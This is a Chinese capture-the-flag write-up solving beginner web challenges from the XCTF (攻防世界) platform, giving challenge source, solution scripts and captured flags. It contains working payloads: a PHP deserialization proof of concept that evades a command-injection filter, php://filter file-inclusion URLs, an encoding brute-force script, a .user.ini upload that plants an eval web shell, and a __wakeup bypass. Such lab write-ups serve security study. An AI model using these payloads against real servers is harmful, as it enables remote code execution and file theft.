攻防世界-Web难度1题目详细完整writeup(完结)
每天都要加油啊! ------2024-01-11 21:12:38
unseping
原题
<?php
highlight_file(__FILE__);
class ease{
private $method;
private $args;
function __construct($method, $args) {
$this->method = $method;
$this->args = $args;
}
function __destruct(){
if (in_array($this->method, array("ping"))) {
call_user_func_array(array($this, $this->method), $this->args);
}
}
function ping($ip){
exec($ip, $result);
var_dump($result);
}
function waf($str){
if (!preg_match_all("/(\||&|;| |\/|cat|flag|tac|php|ls)/", $str, $pat_array)) {
return $str;
} else {
echo "don't hack";
}
}
function __wakeup(){
foreach($this->args as $k => $v) {
$this->args[$k] = $this->waf($v);
}
}
}
$ctf=@$_POST['ctf'];
@unserialize(base64_decode($ctf));
?>
有不认识的函数就查
让我们先理清楚一下逻辑。
首先反序列化会先执行__wakeup()
,遍历args,取出键为$k
,值为$v
.然后通过waf
,如果通过waf就正常原先的字符,否则返回空.
最后在魔术方法__destruct()中执行。如果ping在method中就执行call_user_func(),简单来说就是会将args的参数放到ping中执行。
于是乎构造poc。
<?php
class ease
{
private $method;
private $args;
function __construct()
{
$this->method = "ping";
$this->args = array("l``s\${IFS}fl*re");
#第一次是:l``s\${IFS}
#第二次是:l``s\${IFS}fl*re
#第三次是:more\${IFS}fl''ag_1s_here$(printf\${IFS}'\\57')fl*g_831b69012c67b35f*
}
}
$ctf=serialize(new ease());
$ctf=base64_encode($ctf);
echo $ctf;
file_include
<?php
highlight_file(__FILE__);
include("./check.php");
if(isset($_GET['filename'])){
$filename = $_GET['filename'];
include($filename);
}
?>
输入/etc/passwd,成功回显。说明有任意文件包含漏洞。
但是用普通的data伪协议或者filter伪协议,就不行,显然有过滤。
而这道题的知识点是convert转化类型转化器的绕过。filters.convert.php
就像这个payload的样子:http://61.147.171.105:58025/?filename=php://filter/convert.iconv.UTF-8*.UTF-7
/resource=flag.php
前一个是输入的字符编码,后一个是输出的。
要一个一个的试试,可以使用burp爆破一下。
该 PHP 扩展支持的字符编码有以下几种:
- UCS-4*
- UCS-4BE
- UCS-4LE*
- UCS-2
- UCS-2BE
- UCS-2LE
- UTF-32*
- UTF-32BE*
- UTF-32LE*
- UTF-16*
- UTF-16BE*
- UTF-16LE*
- UTF-7
- UTF7-IMAP
- UTF-8*
# -*- coding:utf-8 -*-
"""
作者:Wang Xinwei
日期:2024年01月12日
"""
import re
import requests
from itertools import product
di=[];args=[]
with open("C:/Users/34218/Desktop/1.txt","r",encoding="utf-8") as f:
for i in f:
di.append(i[:-1])
print(f'编码库:{di}')
pattern = re.compile(r'<[^>]+>', re.S)
for input,output in product(di,repeat=2):
args.append(f'filename=php://filter/convert.iconv.{input}.{output}/resource=check.php')
url= 'http://61.147.171.105:58025/'
for arg in args:
re=requests.get(url,params=arg)
if len(re.text)!=1120 and len(re.text)!=1108:
print(f'{arg}:{len(re.text)}')
这是我编写的脚本,然后看看那个行。一个一个试试。
最后有很多可以的,自己去尝试尝试。
easy_php
原题
<?php
highlight_file(__FILE__);
$key1 = 0;
$key2 = 0;
$a = $_GET['a'];
$b = $_GET['b'];
if(isset($a) && intval($a) > 6000000 && strlen($a) <= 3){
if(isset($b) && '8b184b' === substr(md5($b),-6,6)){
$key1 = 1;
}else{
die("Emmm...再想想");
}
}else{
die("Emmm...");
}
$c=(array)json_decode(@$_GET['c']);
if(is_array($c) && !is_numeric(@$c["m"]) && $c["m"] > 2022){
if(is_array(@$c["n"]) && count($c["n"]) == 2 && is_array($c["n"][0])){
$d = array_search("DGGJ", $c["n"]);
$d === false?die("no..."):NULL;
foreach($c["n"] as $key=>$val){
$val==="DGGJ"?die("no......"):NULL;
}
$key2 = 1;
}else{
die("no hack");
}
}else{
die("no");
}
if($key1 && $key2){
include "Hgfks.php";
echo "You're right"."\n";
echo $flag;
}
?> Emmm...
先来解决第一个吧
if(isset($a) && intval($a) > 6000000 && strlen($a) <= 3){
$a的数值要大于6000000并且长度要小于3,我们可以使用
if(isset($b) && '8b184b' === substr(md5($b),-6,6)){
$key1 = 1;
}else{
die("Emmm...再想想");
}
}else{
die("Emmm...");
}指数的形式。7e6
并且$b的md5值的后六位的值要等于8b184b,可以试试爆破。
我用的python脚本爆破,出来是53724
import hashlib
for i in range(1,100000):
a = hashlib.md5(str(i).encode()).hexdigest()
if a[-6:]=="8b184b":
print(i)
break
接下来过滤下一段代码。
$c=(array)json_decode(@$_GET['c']);
if(is_array($c) && !is_numeric(@$c["m"]) && $c["m"] > 2022){
if(is_array(@$c["n"]) && count($c["n"]) == 2 && is_array($c["n"][0])){
$d = array_search("DGGJ", $c["n"]);
$d === false?die("no..."):NULL;
foreach($c["n"] as $key=>$val){
$val==="DGGJ"?die("no......"):NULL;
}
$key2 = 1;
}else{
die("no hack");
}
}else{
die("no");
}
get传参,c是json形式的。其中m键所对的值是数字并且大于2022,n键所对的值是数组,并且元素个数是2,还有个二维数组。
其中n键所对的数组要满足array_search,所以只需要在其中放置数字0就行,DGGJ转化为数字就是0;
array_search() 函数与 in_array() 一样,在数组中查找一个键值。如果找到了该值,匹配元素的键名会被返回。如果没找到,则返回 false。其实相当于键值与“DGGJ”进行比较,而 php中当一个数字与一个字符串/字符进行大小比较时,首先系统尝试将此字符串/字符转换为整型/浮点型,然后进行比较。所以当n键对应的值为数字且包含数字0的话,DGGJ被视为0,即可在”其中找到DGGJ“,返回True。
构造payload:http://61.147.171.105:64284/?a=6e8&b=53724&c={%22m%22:%222023a%22,%22n%22:[[0,1],0]}
得到flag:You're right cyberpeace{58a726aef91ed790b25443c8149aad9f}
fileclude
WRONG WAY!
<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET["file1"]) && isset($_GET["file2"]))
{
$file1 = $_GET["file1"];
$file2 = $_GET["file2"];
if(!empty($file1) && !empty($file2))
{
if(file_get_contents($file2) === "hello ctf")
{
include($file1);
}
}
else
die("NONONO");
}
如果file2的内容是hello ctf的话,就会包含file1的内容。显然file1要用php伪协议。file1要用data://text/plain进行传输数据。
所以构造payload:http://61.147.171.105:54061/?file1=php://filter/convert.base64-encode/resource=flag.php&file2=data://text/plain,hello%20ctf
base64解码后是
<?php
echo "WRONG WAY!";
// $flag = cyberpeace{a1bef697e6f33e6955233c9c35af65fa}
fileinclude
右键参看源码,给出提示
很简单,设置coolie,绕后构造php://filter伪协议,只不过不是get传参了,而是放在coolie里面。
base64解码后得到flag
<?php
$flag="cyberpeace{b8543bca6001091a7610b83cfa713030}";
?>
easyupload
简单上传php文件,不让上传。那么就试一试改文件类型吧。
改文件名字和类型都不行。就如上图所示,
加上GIF89a
的文件头并删除php字符,才发现上传成功。
过滤掉php的话,我们可以使用短标签<?=eval($_POST['a']);?>
绕过。
访问一下,因为是jpg文件,无法访问,只能使用user.ini
了
先上传一个.user.ini文件【用户自定义的配置文件】,内容为: auto_prepend_file=1.gif 再上传一个1.gif文件,内容为木马; 最后在浏览器访问一个在当前目录下的随意一个php文件(必须存在),就能间接的访问了该以1.gif命名的木马了。
注意:
这里在当前目录下必须存在php文件; 目标的php版本有要求,php要带nts版本; 允许上传 .ini 文件;
ini文件的抓包修改
然后任意访问给目录下的一个php文件就能间接访问了。
然后蚁剑链接就能拿到flag:cyberpeace{40265bf46d7caae75aa0b6ad37e00510}
inget
简单的万能密码:
cyberpeace{46454deae296d203d8d753e130d822fa}
robots
既然题目给出了robot提示,直接访问robots.txt
得到flag,cyberpeace{ca428b69bd06dc407c809d07a7680cea}
get_post
很简单,不过多赘述了。
cyberpeace{8dd72b4dacfcdedfbb4d7e3d72e8a085}
disabled_button
的确不能按,所以就查看源代码,然后post传参,得到flag。auth=flag
cyberpeace{176684c390b6fecca88c52b7ebe12abb}
cookie
直接查看cookie,然后跳转到其他的页面,再查看返回信息。
得到flag:cyberpeace{d45e9a92a22e19aca0ef5dc3ed8d7eb5}
backup
那就一个一个试试,最后是index.php.bak
源码
<html>
<head>
<meta charset="UTF-8">
<title>备份文件</title>
<link href="http://libs.baidu.com/bootstrap/3.0.3/css/bootstrap.min.css" rel="stylesheet" />
<style>
body{
margin-left:auto;
margin-right:auto;
margin-TOP:200PX;
width:20em;
}
</style>
</head>
<body>
<h3>你知道index.php的备份文件名吗?</h3>
<?php
$flag="Cyberpeace{855A1C4B3401294CB6604CCC98BDE334}"
?>
</body>
</html>
得到flag,
ics-06
看起来很高级,其实只有一个地方能跳转,就是报表中心。
上面有个传参,我也没有思路,就看了下writeup。发现要用burp来爆破参数id参数
。
得到flag:cyberpeace{12db2f10cbc1859b839876ffa1622dd7}
PHP2
目录扫描也扫不出来,看了网上的writeup,只知道有个index.php,试试访问index.phps。
得到源码
两次url编码绕过。payload:http://61.147.171.105:51499/index.php?id=%2561%2564%256d%2569%256e
Training-WWW-Robots
robots.txt,非常简单了。
unserialize3
class xctf{
public $flag = '111';
public function __wakeup(){
exit('bad requests');
}
?code=
很简单,这道题让你绕过__wakeup
CVE-2016-7124当对象属性的个数大于真实属性的时候,会跳过__wakeup函数
O:4:"xctf":1:{s:4:"flag";s:3:"111";}序列化之后是这样,更改1为2就行。
view_source
ctrl U 或者在网址前面加view-source:
weak_auth
需要爆破,这里下载字典文件https://github.com/rootphantomer/Blasting_dictionary
123456比较特殊。登陆得到flag:cyberpeace{e68ea3a79449be251c2593d52deb9c13}
simple_php
很简单php的弱类型比较。